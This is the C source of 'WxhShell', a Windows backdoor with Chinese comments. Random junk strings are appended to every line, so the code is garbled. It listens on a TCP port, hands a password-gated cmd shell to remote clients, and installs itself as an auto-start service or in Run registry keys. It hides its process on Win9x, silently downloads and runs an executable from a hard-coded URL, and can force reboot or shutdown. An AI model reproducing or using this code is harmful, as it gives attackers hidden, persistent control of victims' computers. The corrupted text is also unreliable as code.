  case 'd': { dR /UXzrc  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); sXC]{] P  
    if(Boot(SHUTDOWN)) ZsPBs4<p  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;lWy?53=@  
    else { [dL?N  
    closesocket(wsh); -p !KsU  
    ExitThread(0); e;}5~dSi  
    } G@Zi3 5  
    break; s: q15"  
    } cl7+DAE  
  // 获取shell zck |jhJ6  
  case 's': { +XRv iHA`  
    CmdShell(wsh); {K0T%.G  
    closesocket(wsh); CM's6qhQnn  
    ExitThread(0); )@`w^\E_~_  
    break; Q+ST8  
  } IO_H%/v"jC  
  // 退出 7erao-  
  case 'x': { .}y Lz  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); #WpO9[b>  
    CloseIt(wsh); A8eli=W  
    break; qaGIU`}:$A  
    } fW}H##b  
  // 离开 =v5(*$"pd"  
  case 'q': { ^lMnwqx<  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 0_y%Qj^e  
    closesocket(wsh); a m zw  
    WSACleanup(); ;09J;sf  
    exit(1); |]\bgh  
    break; +[ }]a3)  
        } /~tfP  
  } {:FITF3o  
  } fAUsJ[  
s* YFN#Wuc  
  // 提示信息 17Gdu[E  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ?h3Ow`1G  
} m<f{7]fi5  
  } d<b,LD^  
E:E &Wv?r  
  return; =L wX+c  
} `Zi#rr|)L  
o5$K^2^g  
// shell模块句柄 o%9>elOju  
int CmdShell(SOCKET sock) -MEz`7c~  
{ Gf]s?J^a  
STARTUPINFO si; Pd;ClMa%  
ZeroMemory(&si,sizeof(si)); EIEq[`h  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; E;d 5$  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; CC-:dNb  
PROCESS_INFORMATION ProcessInfo; gX _BJ6  
char cmdline[]="cmd"; J+|ohA  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); q@-qA]  
  return 0; 7VXeu+-P  
} 835Upj>  
CGe'z  
// 自身启动模式 lM1!2d'P  
int StartFromService(void) R39R$\  
{ 5)o IPHXw  
typedef struct B:r-')!0$#  
{ "=n8PNV/ c  
  DWORD ExitStatus; ;Gs**BB&  
  DWORD PebBaseAddress; k"7eHSy,  
  DWORD AffinityMask; 4vQHr!$Ep  
  DWORD BasePriority; 1DcarF  
  ULONG UniqueProcessId; k51s*U6=  
  ULONG InheritedFromUniqueProcessId; O({_x@  
}   PROCESS_BASIC_INFORMATION; jgo@~,5R  
#rr-4$w+  
PROCNTQSIP NtQueryInformationProcess; `pMI[pLZe  
2* L/c-  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; fBOPd =  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; .nH /=  
kZ.3\  
  HANDLE             hProcess; )IhY&?jk?  
  PROCESS_BASIC_INFORMATION pbi; GDB>!ukg  
U44H/5/  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); +=k|(8Js#  
  if(NULL == hInst ) return 0; l.W:6", w  
F`Y<(]+   
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); KUyJ"q<W  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); YcV~S#b  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); h^*{chm]  
<"+C<[n.  
  if (!NtQueryInformationProcess) return 0; 8)!;[G|  
,7g;r_qwA  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); m8PB2h  
  if(!hProcess) return 0; Zn0fgQd  
g\)z!DQ]  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; R,bcE4WR"  
7:<Ed"rdE  
  CloseHandle(hProcess); _MEv*Q@o  
%S#"pKE6 R  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); L>b,}w  
if(hProcess==NULL) return 0; "y0 A<-~  
9.=#4OH/  
HMODULE hMod; 8W>l(w9M  
char procName[255]; dSZ#,Ea"  
unsigned long cbNeeded; //@=Q!MW  
m6cW  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); [AzN&yACE  
fNJ;{&#  
  CloseHandle(hProcess); %4Zy1{yKs_  
jf/9]`Hf  
if(strstr(procName,"services")) return 1; // 以服务启动 y21uvp'  
2AW{qwk7  
  return 0; // 注册表启动 q_&IZ,{Vk  
} *~uuCLv_  
{ bn#:75r  
// 主模块 !?*!"S-Sl  
int StartWxhshell(LPSTR lpCmdLine) Y%l3SB,5L  
{ :a@z53X@M  
  SOCKET wsl; $SVGpEw  
BOOL val=TRUE; )+,jal^7  
  int port=0; " G6j UTt  
  struct sockaddr_in door; 8w[EyVHA  
9Ol_z\5  
  if(wscfg.ws_autoins) Install(); CM1a<bV<  
`=DCX%Vw  
port=atoi(lpCmdLine); 8|NJ(D-$  
yo,!u\^x  
if(port<=0) port=wscfg.ws_port; r&sOM_BUF  
Q$L(fH kw  
  WSADATA data; G9inNz*Cx  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; np^<HfYV  
p'k+0=  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;    7~nCK  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ONiI:Z>%  
  door.sin_family = AF_INET; z44~5J]  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); SYPMoE!U:  
  door.sin_port = htons(port); 3&fFIab9  
/*^|5>-`i1  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Z;\"pP:  
closesocket(wsl); 6ya87H'e@  
return 1; WUS9zK  
} X$iJ|=vW  
Wb )l8[=  
  if(listen(wsl,2) == INVALID_SOCKET) { i?dKmRp(@y  
closesocket(wsl); S)@vl^3ec  
return 1; >o#wP  
} >wO$Vu `t  
  Wxhshell(wsl); ]G PJ(+5  
  WSACleanup(); _i@eOqoC  
B~z g"  
return 0; =L),V~b  
qU*&49X  
} {WeXURp&nF  
`lezJ (Xm  
// 以NT服务方式启动 7O{O')o!  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) xevP2pYG:  
{ |;m`874  
DWORD   status = 0; 0DVZRB  
  DWORD   specificError = 0xfffffff;  &Z!K]OSY  
H&Y{jqua  
  serviceStatus.dwServiceType     = SERVICE_WIN32; hUvuq,LH_  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 3;S`<  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE;  0(/D|  
  serviceStatus.dwWin32ExitCode     = 0; /NX7Vev  
  serviceStatus.dwServiceSpecificExitCode = 0; `{lAhZ5  
  serviceStatus.dwCheckPoint       = 0; Guw|00w,Q$  
  serviceStatus.dwWaitHint       = 0; ,]_(-tyN|  
v#]v,C-*  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 0/@ X!|X  
  if (hServiceStatusHandle==0) return; xTFrrmxOf  
tK}p05nPhl  
status = GetLastError(); 7Ljj#!`lUp  
  if (status!=NO_ERROR) =/JF-#n/MA  
{ 6y,P4O*q  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; _s^:zPl  
    serviceStatus.dwCheckPoint       = 0;  L|lmStwe  
    serviceStatus.dwWaitHint       = 0; qJXsf M6  
    serviceStatus.dwWin32ExitCode     = status; J7wQ=! g  
    serviceStatus.dwServiceSpecificExitCode = specificError; Dnm.!L8  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); :@%-f:iDj  
    return; L@n6N|[_  
  } @U3foL2\  
k;_KKvQ  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; EH*ym#Y  
  serviceStatus.dwCheckPoint       = 0; zB6u-4^wT  
  serviceStatus.dwWaitHint       = 0; ~/jxB)t  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); v;]I^Kq  
} BT#=Xh  
}#HTO:r  
// 处理NT服务事件,比如:启动、停止 "G9'm  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ) Zb`~w  
{ f./m7TZ  
switch(fdwControl) =6Sj}/   
{ Wd` QpW  
case SERVICE_CONTROL_STOP: C nSX  
  serviceStatus.dwWin32ExitCode = 0; s'aV qB  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; q bZ,K@0  
  serviceStatus.dwCheckPoint   = 0; ?(/j<,m^  
  serviceStatus.dwWaitHint     = 0; mDF"&.(j  
  { seuN,jpt  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]a6O(]  
  } Ly)(_Tp@+  
  return; SQt|(r)  
case SERVICE_CONTROL_PAUSE: wL-ydMIx  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; _m7U-;G  
  break; od}EM_  
case SERVICE_CONTROL_CONTINUE: vf'cx:m  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; OVUs]uK  
  break; Xm8Z+}i  
case SERVICE_CONTROL_INTERROGATE: S}w.#tyEn  
  break; @bW[J  
}; v-;XyVx  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); S@}B:}2  
} rI<nUy P?  
?wLdW1&PpX  
// 标准应用程序主函数 c/=y*2,zo  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Y0PGT5].@'  
{ E +Ujpd  
OS"{"P  
// 获取操作系统版本 LGo2^Xx  
OsIsNt=GetOsVer(); 6i]Nr@1C  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Z[k#AgC)  
oT|P1t.  
  // 从命令行安装 j(%gMVu  
  if(strpbrk(lpCmdLine,"iI")) Install(); 'z-;*!A}j  
lP@)   
  // 下载执行文件 (~ ]g,*+  
if(wscfg.ws_downexe) { 5"kx}f2$  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) pG!(6V-x<E  
  WinExec(wscfg.ws_filenam,SW_HIDE); nrTv=*tDj  
} 9P7xoXJ@y  
"B9[cDM&  
if(!OsIsNt) { vr{'FMc  
// 如果时win9x,隐藏进程并且设置为注册表启动 5>ADw3z'  
HideProc(); 0Oc}rRH(C  
StartWxhshell(lpCmdLine); 3'[Rvy{  
} vQK n=  
else <o&o=Y8  
  if(StartFromService()) DIG0:)4R.  
  // 以服务方式启动 Jtp>m?1Ve  
  StartServiceCtrlDispatcher(DispatchTable); VelB-vy&  
else jcEs10y  
  // 普通方式启动 f`hyYp`d5  
  StartWxhshell(lpCmdLine); egI{!bZg'\  
0~+NB-L}  
return 0; &r'{(O8$N  
} CJ9cCtA  
8"km_[JE e  
c$Xe.:QY  
"[jhaUAK  
=========================================== 9Hf*cQ  
83KfM!w  
h_&4p= SQ  
ptV4s=G2  
L289'Gzg  
U@.u-)oX  
" /7k.r}6\R  
zBk_-'z  
#include <stdio.h> Kajkw>z  
#include <string.h> Hva2j<h  
#include <windows.h> &l. x:eD  
#include <winsock2.h> y$IaXr5L  
#include <winsvc.h> (O8,zqP9l  
#include <urlmon.h> n}< ir!ZTO  
y#S1c)vU  
#pragma comment (lib, "Ws2_32.lib") @72x`&|I?u  
#pragma comment (lib, "urlmon.lib") 6IEUJ-M Z  
@J-plJ4e  
#define MAX_USER   100 // 最大客户端连接数 ug^om{e-  
#define BUF_SOCK   200 // sock buffer ;W7hc!  
#define KEY_BUFF   255 // 输入 buffer mi7sBA9L8  
==]Z \jk  
#define REBOOT     0   // 重启 wVgi+P  
#define SHUTDOWN   1   // 关机 ?. zu2  
3<c*v/L{C\  
#define DEF_PORT   5000 // 监听端口 [AXsnpa/C  
6xQ"bFm  
#define REG_LEN     16   // 注册表键长度 \#PP8  
#define SVC_LEN     80   // NT服务名长度 paW'R+Rck  
N0=-7wMk(Z  
// 从dll定义API Bj@x$v#/^  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); hzaLx8L  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); [J~aAB  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); \Y*!f|=of  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); MWM +hk1fs  
! L4dUMo  
// wxhshell配置信息 0/ut:RV0  
struct WSCFG { 8NnhT E  
  int ws_port;         // 监听端口 <u0*"  
  char ws_passstr[REG_LEN]; // 口令 u\`/Nhn  
  int ws_autoins;       // 安装标记, 1=yes 0=no X(IyvfC  
  char ws_regname[REG_LEN]; // 注册表键名 F(deu^s%{  
  char ws_svcname[REG_LEN]; // 服务名 Ll,I-BQ 9  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 vx'l> @]k  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 SijtTY#r  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 s4 (Wp3>3i  
int ws_downexe;       // 下载执行标记, 1=yes 0=no M9gOoYf,~  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" a;%I\w;2  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 {`a(Tl8V  
R0{Qy*YQ`  
}; A*hZv|$0  
d$}&nV/A)  
// default Wxhshell configuration +6 ho)YL  
struct WSCFG wscfg={DEF_PORT, WhH!U0  
    "xuhuanlingzhe", ThtMRB)9  
    1, /w0sj`;"  
    "Wxhshell", |7y6 pz  
    "Wxhshell", JRq3>P  
            "WxhShell Service", SgiDh dE  
    "Wrsky Windows CmdShell Service", Hj2<ZL  
    "Please Input Your Password: ", x.ba|:5  
  1, 6.[)`iF+#  
  "http://www.wrsky.com/wxhshell.exe", #*^e,FF<  
  "Wxhshell.exe" WVOoHH  
    }; rS4%$p"  
opXDm\  
// 消息定义模块 "e@n:N!  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 7{4w 2)  
char *msg_ws_prompt="\n\r? for help\n\r#>"; YGETMIT(  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; H37Qg ApB  
char *msg_ws_ext="\n\rExit."; 19p8B&  
char *msg_ws_end="\n\rQuit."; uxb:^d?D!  
char *msg_ws_boot="\n\rReboot..."; "CBRPp  
char *msg_ws_poff="\n\rShutdown..."; #BsW  
char *msg_ws_down="\n\rSave to "; P].eAAXnP  
`kFiH*5%z  
char *msg_ws_err="\n\rErr!"; 9mDn KW  
char *msg_ws_ok="\n\rOK!"; "Kq>#I'%W  
FI$XSG  
char ExeFile[MAX_PATH]; 6lsEGe  
int nUser = 0; `"c'z;  
HANDLE handles[MAX_USER]; `;$h'eI9  
int OsIsNt; ->h5T%sn  
"TNVD"RLY  
SERVICE_STATUS       serviceStatus; QXs8:;T  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; @MOCug4  
B)M& \: _  
// 函数声明 &pL/ @2+  
int Install(void); l[oe*aYN7  
int Uninstall(void); Lc|{aN  
int DownloadFile(char *sURL, SOCKET wsh); P 6.!3%y  
int Boot(int flag); TcJ$[  
void HideProc(void); tb,9a!?  
int GetOsVer(void); P\AqpQv  
int Wxhshell(SOCKET wsl); t+O e)Ns  
void TalkWithClient(void *cs); >'b=YlUL  
int CmdShell(SOCKET sock); {jW%P="z$"  
int StartFromService(void); i$C-)d]  
int StartWxhshell(LPSTR lpCmdLine); a.q;_5\5`  
<bP#H  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); cI:-Z{M7z  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); epkD*7  
R!6=7  
// 数据结构和表定义 FY4T(4#  
SERVICE_TABLE_ENTRY DispatchTable[] = 8Q=ZH=SQK  
{ wt?o 7R2  
{wscfg.ws_svcname, NTServiceMain}, D:9 2\l  
{NULL, NULL} bq NP#C  
}; ,EI:gLH  
YG`? o  
// 自我安装 kAo.C Nj7  
int Install(void) o_$&XNC_  
{ gi$XB}L+X  
  char svExeFile[MAX_PATH]; I]9 C_  
  HKEY key; \f%.n]>  
  strcpy(svExeFile,ExeFile); 8EI:(NE*J  
>g}G}=R~3  
// 如果是win9x系统,修改注册表设为自启动 6pp$-uS  
if(!OsIsNt) { S)7/0N79A  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { :$ %>4+l  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Qnt5HSSt  
  RegCloseKey(key); `*_CElpP"  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { pRrHuLj^  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); u R:rO^  
  RegCloseKey(key); ]C!?HQ{bsf  
  return 0; z:}nBCmLV  
    } :o8MUXH$  
  } '!Wvqs  
} 9:8|)a(1  
else { EI1? GB)b  
o\!qcoE2W  
// 如果是NT以上系统,安装为系统服务 fd1C {^c  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); y}"7e)|t%  
if (schSCManager!=0) /pykW_`/-  
{ ?\y%]1  
  SC_HANDLE schService = CreateService |<c WllN  
  ( "HK/u(z)  
  schSCManager, E ]f)Os$  
  wscfg.ws_svcname, D(\$i.,b2  
  wscfg.ws_svcdisp, Bm/YgQi  
  SERVICE_ALL_ACCESS, r,;\/^u*  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , xaW{I7FfG  
  SERVICE_AUTO_START, i=rH7k  
  SERVICE_ERROR_NORMAL, .<YcSG  
  svExeFile, BJy;-(JP  
  NULL, +>tUz D  
  NULL, Fr [7  
  NULL, ?fK1  
  NULL, BC77<R!E)  
  NULL \Y5W!.(%w  
  ); !Zjq9{t\"  
  if (schService!=0) e|lD:_1i  
  {  v~=\H  
  CloseServiceHandle(schService);  f^b K=#  
  CloseServiceHandle(schSCManager); r*XLV{+4  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); N$#\Xdo  
  strcat(svExeFile,wscfg.ws_svcname); iqPBsIW  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { QJBr6   
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); #*^+F?o,(  
  RegCloseKey(key); 5-vo0:hk  
  return 0; "pvH0"Q*  
    } %l !xkCKA  
  } OZ(dpV9.S  
  CloseServiceHandle(schSCManager); @R q}nq=k  
} T?wzwGp-[  
} |"Z{I3Umg  
<+tD z(  
return 1; Jp~zX lu  
} X.V[0$.;  
L:R<e#kgS  
// 自我卸载 \#Up|u:  
int Uninstall(void) ]Kh2;>= Xj  
{ 8Vn4.R[vE  
  HKEY key; 7o]HQ[xO  
(S /F)?  
if(!OsIsNt) { 'jfRt-_-  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { j-b*C2l  
  RegDeleteValue(key,wscfg.ws_regname); ^%<pJMgdF  
  RegCloseKey(key); K7(MD1tk  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { r>t1 _b+nu  
  RegDeleteValue(key,wscfg.ws_regname); ,wj"! o#  
  RegCloseKey(key); C+N k"l9  
  return 0; Qa4MZj ;$K  
  } EgM*d)X  
} j6YiE~  
} ]?LB?:6  
else { zP)~a  
iiC!|`k"  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); D4u% 6R|F  
if (schSCManager!=0) A :e;k{J  
{ S#l5y%&  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); p]T"|!d  
  if (schService!=0) {/8Q)2*>0  
  { I'!/[\_  
  if(DeleteService(schService)!=0) { MaY682}|y  
  CloseServiceHandle(schService); v"O5u%P  
  CloseServiceHandle(schSCManager); '7 )"  
  return 0; mUP.rb6  
  } `V!>J 1x  
  CloseServiceHandle(schService); s8mr''  
  } ajH"Jy3A  
  CloseServiceHandle(schSCManager); N#z~  
} cP>o+-)  
} ~Y!kB:D5;~  
MuI2?:~:*4  
return 1; .*/Fucr  
} E6MA?Ax&=  
5.0e~zlM -  
// 从指定url下载文件 el PE%'  
int DownloadFile(char *sURL, SOCKET wsh) S: :>N.y  
{ $)Bg JDr  
  HRESULT hr; \_BkY%a  
char seps[]= "/"; Ym8}ZW-  
char *token; ko\):DN  
char *file; 5Av=3[kh"%  
char myURL[MAX_PATH]; :k=mzO<&  
char myFILE[MAX_PATH]; @{HrJ/4%:&  
A%bCMP  
strcpy(myURL,sURL); +9A\HQ|22  
  token=strtok(myURL,seps); obH; g*  
  while(token!=NULL) CI7A# 6-  
  { aaW]J mRb  
    file=token; ~$,qgf  
  token=strtok(NULL,seps); =H`Q~ Xx  
  } ml!5:r>  
<[~,uR7  
GetCurrentDirectory(MAX_PATH,myFILE); F5T3E?_  
strcat(myFILE, "\\"); {MBTP;{*~  
strcat(myFILE, file); }"s;\?a  
  send(wsh,myFILE,strlen(myFILE),0);  #ToK$8  
send(wsh,"...",3,0); au@a8MP  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); <i. a pBH  
  if(hr==S_OK) {S.>BXX  
return 0; V"KS[>>f  
else L,_.$1d  
return 1; a[!%L d  
7(a2L&k^  
} t0E51Ic@  
0\QR!*'$  
// 系统电源模块 Ri7((x]H"  
int Boot(int flag) FY3IUG  
{ ]$iqa"{  
  HANDLE hToken; 3lxc4@Zmd  
  TOKEN_PRIVILEGES tkp; L"+$Wc[|  
2f:^S/.A  
  if(OsIsNt) { ] ZoPQUS?  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);  $)~   
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ef"?|sn  
    tkp.PrivilegeCount = 1; Dt}rR[yJ  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; _=XX~^I,  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); %yS3&Ju  
if(flag==REBOOT) { 3251Vq %  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 1R%1h9I4'  
  return 0; G;iEo4\?  
} y' C-[nk  
else { Tny> D0Z#  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Z}6^ve  
  return 0; ))h6~1`  
} xyh.N)  
  } $7Jo8^RE  
  else { }:Z9Vc ZP`  
if(flag==REBOOT) { N_C;&hJN$w  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) [\z/Lbn ,.  
  return 0; fPa9ofU/kr  
} ?}QH=&=^  
else { DvXHK  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) #/S {6c  
  return 0; gXFWxT8S  
} cI0 ]}S  
} d9^E.8p$  
30j|D3-  
return 1; ?=Pd  
} vw>jJ  
n$L51#'  
// win9x进程隐藏模块 @ EuFJ=h  
void HideProc(void) !0VfbY9C  
{ f:JlZ&  
p<Z3tD;Z  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); )u:Q) %$t  
  if ( hKernel != NULL ) #o`Ny4sq/  
  { ` |Z}2vo;j  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); kma?v B  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); coE&24,0  
    FreeLibrary(hKernel); .x83Ah`  
  } Pt,ebL~  
CB\{!  
return; z`@^5_  
} 7E$&2U^Js  
iP@6hG`:  
// 获取操作系统版本 iPG0o %  
int GetOsVer(void) *~XA'Vw!  
{ Kb ;dKQ  
  OSVERSIONINFO winfo; /7c~nBU  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); $rB3m~c|  
  GetVersionEx(&winfo); )eeN1G`rDE  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 3 fj  
  return 1; p/6zEZ*  
  else p zw8T  
  return 0; c7uG9  
} ~"x5U{K48S  
"8)z=n  
// 客户端句柄模块 f>jwN@(  
int Wxhshell(SOCKET wsl) j V3)2C}  
{ h!@,8y[B  
  SOCKET wsh; JtKp(k&  
  struct sockaddr_in client; <i?a0  
  DWORD myID; XKOUQc4!R  
` TqSQg_l  
  while(nUser<MAX_USER) Qq& W3  
{ w0m^ &,;#  
  int nSize=sizeof(client); z`Wt%tL(  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); :fcM:w&  
  if(wsh==INVALID_SOCKET) return 1; c,EBF\r8*  
\/`?  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); =JLh?Wx  
if(handles[nUser]==0) x+5k <Xi}  
  closesocket(wsh); SUCU P<G  
else 9Ru;`  
  nUser++; uLeRZSC  
  } 5v.DX`"  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); <~U4*  
gwkb!#A  
  return 0; |H}sYp  
} 66&EBX}  
>zvY\{WY  
// 关闭 socket IV16d  
void CloseIt(SOCKET wsh) RSfM]w}Hq#  
{ +ZsX*/TOn  
closesocket(wsh); Z$KLl((  
nUser--; e9pOisZ;8  
ExitThread(0); YB))S!;Ok  
} ^WYQ]@rh3  
QWnndI_4p  
// 客户端请求句柄 fN%jJ-[d  
void TalkWithClient(void *cs) >u +q1j.  
{ ZM#=`k9  
_m E^rT  
  SOCKET wsh=(SOCKET)cs; P@}Pk  
  char pwd[SVC_LEN]; 0*%&>  
  char cmd[KEY_BUFF]; t !`Jse>  
char chr[1]; y7\"[<E`(V  
int i,j; Fqq6^um  
nt1CTWKM8^  
  while (nUser < MAX_USER) {  v9RW5  
*V^ #ga#A  
if(wscfg.ws_passstr) { &[R8Q|1 j  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 8^^[XbH  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); /c# `5L[  
  //ZeroMemory(pwd,KEY_BUFF); V~MiO.B  
      i=0; S0/usC[r  
  while(i<SVC_LEN) { $P o}  
$o?@ 0  
  // 设置超时 eJ8]g49mD6  
  fd_set FdRead; W_M'.1 t  
  struct timeval TimeOut; zoDZZ%{  
  FD_ZERO(&FdRead); [U =Uo*  
  FD_SET(wsh,&FdRead); l.)}t)my}  
  TimeOut.tv_sec=8; o}Cq.[G4k  
  TimeOut.tv_usec=0; +t)n;JHN  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); kYwb -;  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 1$lh"fHU  
1nhtM  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 5~ 'Ie<Y_  
  pwd=chr[0]; m`? MV\^  
  if(chr[0]==0xd || chr[0]==0xa) { A1Y7;-D  
  pwd=0; <G8w[hs  
  break; %GEJnJ  
  } &NZfJs  
  i++; t/oN>mQG  
    } "VxWj}+]  
,{eU P0]  
  // 如果是非法用户,关闭 socket h&@R| N  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); |aToUi.Q%  
} x<i}_@Sn_+  
{U!St@  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Z{NC9  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); VObrlOkp  
neF]=uCWnT  
while(1) { bF}V4"d,B3  
`<"m%>  
  ZeroMemory(cmd,KEY_BUFF); 9Mm!%Hu  
yR~-k?7b  
      // 自动支持客户端 telnet标准   i7[uLdQ  
  j=0; `BFIC7a  
  while(j<KEY_BUFF) { ~:Uw g+]j  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); hPhZUL%  
  cmd[j]=chr[0]; 6 &U+6gb  
  if(chr[0]==0xa || chr[0]==0xd) { l7[7_iB&E  
  cmd[j]=0; .3pbuU  
  break; +?D6T!)  
  } qf)$$qi  
  j++; vC;]jJb:  
    } 'BMy8  
%WFu<^jm  
  // 下载文件 S*)1|~pRvQ  
  if(strstr(cmd,"http://")) { n}-3o]ku  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Ok-.}q>\Mv  
  if(DownloadFile(cmd,wsh)) ;(6g\'m  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Rs& @4_D  
  else xgsjm) )  
